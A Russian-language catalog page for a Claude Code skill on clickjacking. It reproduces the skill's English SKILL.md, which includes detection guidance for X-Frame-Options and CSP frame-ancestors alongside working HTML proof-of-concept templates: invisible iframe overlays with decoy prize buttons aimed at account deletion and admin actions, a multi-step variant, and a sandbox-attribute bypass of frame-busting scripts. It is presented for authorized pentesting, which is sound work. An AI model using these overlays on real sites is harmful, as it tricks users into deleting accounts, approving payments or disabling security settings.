К основному содержанию
скилл CX Codex

clickjacking — скилл для Claude Code: проверка фрейминга и UI redress

Плейбук по кликджекингу: помогает выяснить, грузится ли страница в iframe и можно ли через невидимый оверлей нажать чужую кнопку.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill clickjacking -a claude-code
Открыть на GitHub

Что делает clickjacking

Скилл описывает кликджекинг как атаку UI redress: целевая страница открывается в прозрачном iframe поверх страницы атакующего, жертва видит одну кнопку, а кликает по другой. Внутри — готовые HTML-шаблоны PoC, от одиночного клика до многошагового сценария с подтверждением и drag-and-drop между iframe.

Отдельный блок про детект: как читать заголовок X-Frame-Options и директиву frame-ancestors в CSP, почему вторая перекрывает первую в современных браузерах, и что делать, если на странице стоит JavaScript-защита от фрейминга. Для обхода описан sandbox без allow-top-navigation, поведение устаревшего ALLOW-FROM и двойной фрейминг через свою же страницу без XFO.

Практическая часть — список целей, где один клик стоит дорого: удаление аккаунта, смена пароля, действия в админке, подтверждение платежа, кнопка Allow в OAuth, отключение двухфакторной аутентификации. Скилл рассчитан на тестирование своих приложений или работу в рамках разрешённого пентеста — прогонять его по чужим сайтам без мандата не стоит.

Какие задачи решает

  • проверить, грузится ли страница с чувствительным действием в чужой iframe
  • разобрать, что реально защищает страницу: X-Frame-Options или CSP frame-ancestors
  • собрать PoC на один клик для отчёта об уязвимости
  • обойти JavaScript-защиту от фрейминга через атрибут sandbox
  • оценить риск многошаговых действий с подтверждением

Примеры запросов агенту

  • проверь страницу /account/settings на кликджекинг: посмотри X-Frame-Options и CSP frame-ancestors
  • собери HTML PoC, который фреймит /admin/action и накладывает прозрачный iframe на кнопку
  • на странице стоит frame-busting скрипт — покажи, как обойти его через sandbox

Как установить clickjacking

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill clickjacking -a claude-code

2Вручную: положить файлы

~/.claude/skills/clickjacking/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/clickjacking/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о clickjacking

Как установить clickjacking в Claude?

Выполни npx skills add yaklang/hack-skills --skill clickjacking -a claude-code. Скилл появится в ~/.claude/skills/clickjacking/SKILL.md.

Что делает скилл clickjacking?

Даёт методику проверки UI redress: детект фрейминга по заголовкам, шаблоны PoC, техники обхода frame-busting и список действий, которые стоит проверять в первую очередь.

Чем CSP frame-ancestors отличается от X-Frame-Options?

В современных браузерах директива frame-ancestors перекрывает заголовок X-Frame-Options. Если она не задана, а XFO настроен, защита может не сработать так, как ожидается.

Исходный текст

SKILL.md · MIT
---
name: clickjacking
description: >-
  Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
---

# SKILL: Clickjacking — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.

## 1. CORE CONCEPT

Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.

```html
<style>
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
```

---

## 2. DETECTION — IS THE PAGE FRAMEABLE?

### Check X-Frame-Options Header

```
X-Frame-Options: DENY           → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN     → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent)                  → frameable! (vulnerable)
```

### Check CSP frame-ancestors

```
Content-Security-Policy: frame-ancestors 'none'        → cannot be framed
Content-Security-Policy: frame-ancestors 'self'         → same-origin only
Content-Security-Policy: frame-ancestors https://a.com  → specific origin
(directive absent)                                       → frameable
```

**CSP frame-ancestors supersedes X-Frame-Options** in modern browsers.

### Quick PoC Test

```html
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
```

If the page loads in the iframe → frameable → potentially vulnerable.

### JavaScript Frame Detection (from target page source)

```javascript
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
    top.location.href = self.location.href;
}
```

If this code is present but not using CSP `frame-ancestors`, it can often be bypassed.

---

## 3. PROOF OF CONCEPT TEMPLATES

### Basic Single-Click

```html
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
  iframe { position: absolute; top: 300px; left: 60px;
           width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
```

### Multi-Step Clickjacking

For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):

```html
<div id="step1">
  <button onclick="document.getElementById('step1').style.display='none';
                    document.getElementById('step2').style.display='block';">
    Step 1: Click here
  </button>
</div>
<div id="step2" style="display:none">
  <button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
```

Reposition iframe for each step to align the transparent button with the decoy.

### Drag-and-Drop Clickjacking

Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.

---

## 4. BYPASS TECHNIQUES

### Frame-Busting Script Bypass

Some pages use JavaScript frame-busting:
```javascript
if (top !== self) { top.location = self.location; }
```

**Bypass with sandbox attribute**:
```html
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
```

### X-Frame-Options ALLOW-FROM Bypass

`ALLOW-FROM` is not supported in Chrome/Safari. If the server relies solely on `ALLOW-FROM`, modern browsers ignore it → page is frameable.

### Double-Framing

If `X-Frame-Options: SAMEORIGIN` is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.

---

## 5. HIGH-IMPACT TARGETS

```text
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
```

---

## 6. TESTING CHECKLIST

```
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers
```

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
fix-security-vulnerabilities-with-strix usestrix Скилл разбирает подтверждённые Strix-уязвимости, исправляет их причину и повторно запускает проверку. Подойдёт после CLI- или cloud-сканирования. CX Codex +1 15 700установок owasp-top-10-testing usestrix Запускает агентов Strix для поиска реальных эксплойтов по стандарту OWASP Top 10:2025. Пригодится перед релизом или аудитом безопасности веб-приложения. CX Codex +1 12 800установок pentestify-security-report-generator reason-machines Скилл для генерации отчётов по пентесту: учёт уязвимостей, статистика рисков в реальном времени и выгрузка в PDF. CX Codex +1 747установок supabase-pentest yoanbernabeu Ведёт аудит безопасности приложения на Supabase по фазам: находит утечки ключей, проверяет доступ и складывает доказательства в файлы. CX Codex +1 698установок security-fuzzing Eyadkelleh Подключает подборку пейлоадов из SecLists для поиска инъекций и проверки валидации ввода. Пригодится при аудите защищённости своего кода и на CTF. CX Codex +1 583установок security-passwords Eyadkelleh Скилл добавляет в проект компактные словари популярных и утёкших паролей из SecLists для проверки политик авторизации и пентестов. CX Codex +1 547установок

Из того же набора93

active-directory-certificate-services Скилл разбирает уязвимые настройки AD CS и сценарии ESC1–ESC13. Пригодится для проверки эскалации привилегий и сертификатной персистентности в Active Directory. CX Codex +1 3 600установок saml-sso-assertion-attacks Плейбук для тестирования SAML SSO: проверяет, какие узлы XML подписаны, как валидируются Audience и ACS, где ломается доверие между IdP и SP. CX Codex +1 3 600установок active-directory-kerberos-attacks Плейбук по атакам на Kerberos в Active Directory: от сбора хэшей AS-REP и TGS до подделки билетов и эксплуатации делегирования. CX Codex +1 3 600установок http2-specific-attacks Скилл для проверки атак, связанных с HTTP/2: h2c, псевдозаголовками, HPACK и мультиплексированием. Нужен при аудите целей с поддержкой HTTP/2. CX Codex +1 3 600установок jndi-injection Плейбук по JNDI-инъекциям: разбирает lookup через RMI и LDAP, ограничения версий JDK и обходы после 8u191. Пригодится при проверке Java-приложений на Log4Shell. CX Codex +1 3 600установок active-directory-acl-abuse Плейбук по злоупотреблению правами Active Directory: опасные ACE, DCSync, shadow credentials, LAPS и пути из BloodHound. CX Codex +1 3 600установок csv-formula-injection Скилл для проверки того, как выгрузки в CSV и таблицы реагируют на формулы из пользовательских полей. Нужен при тестировании отчётов и экспортов. CX Codex +1 3 600установок expression-language-injection Плейбук по инъекциям Expression Language для тестирования безопасности в Java. Помогает находить и проверять уязвимости в SpEL, OGNL и Java EL при аудите веб-приложений. CX Codex +1 3 600установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой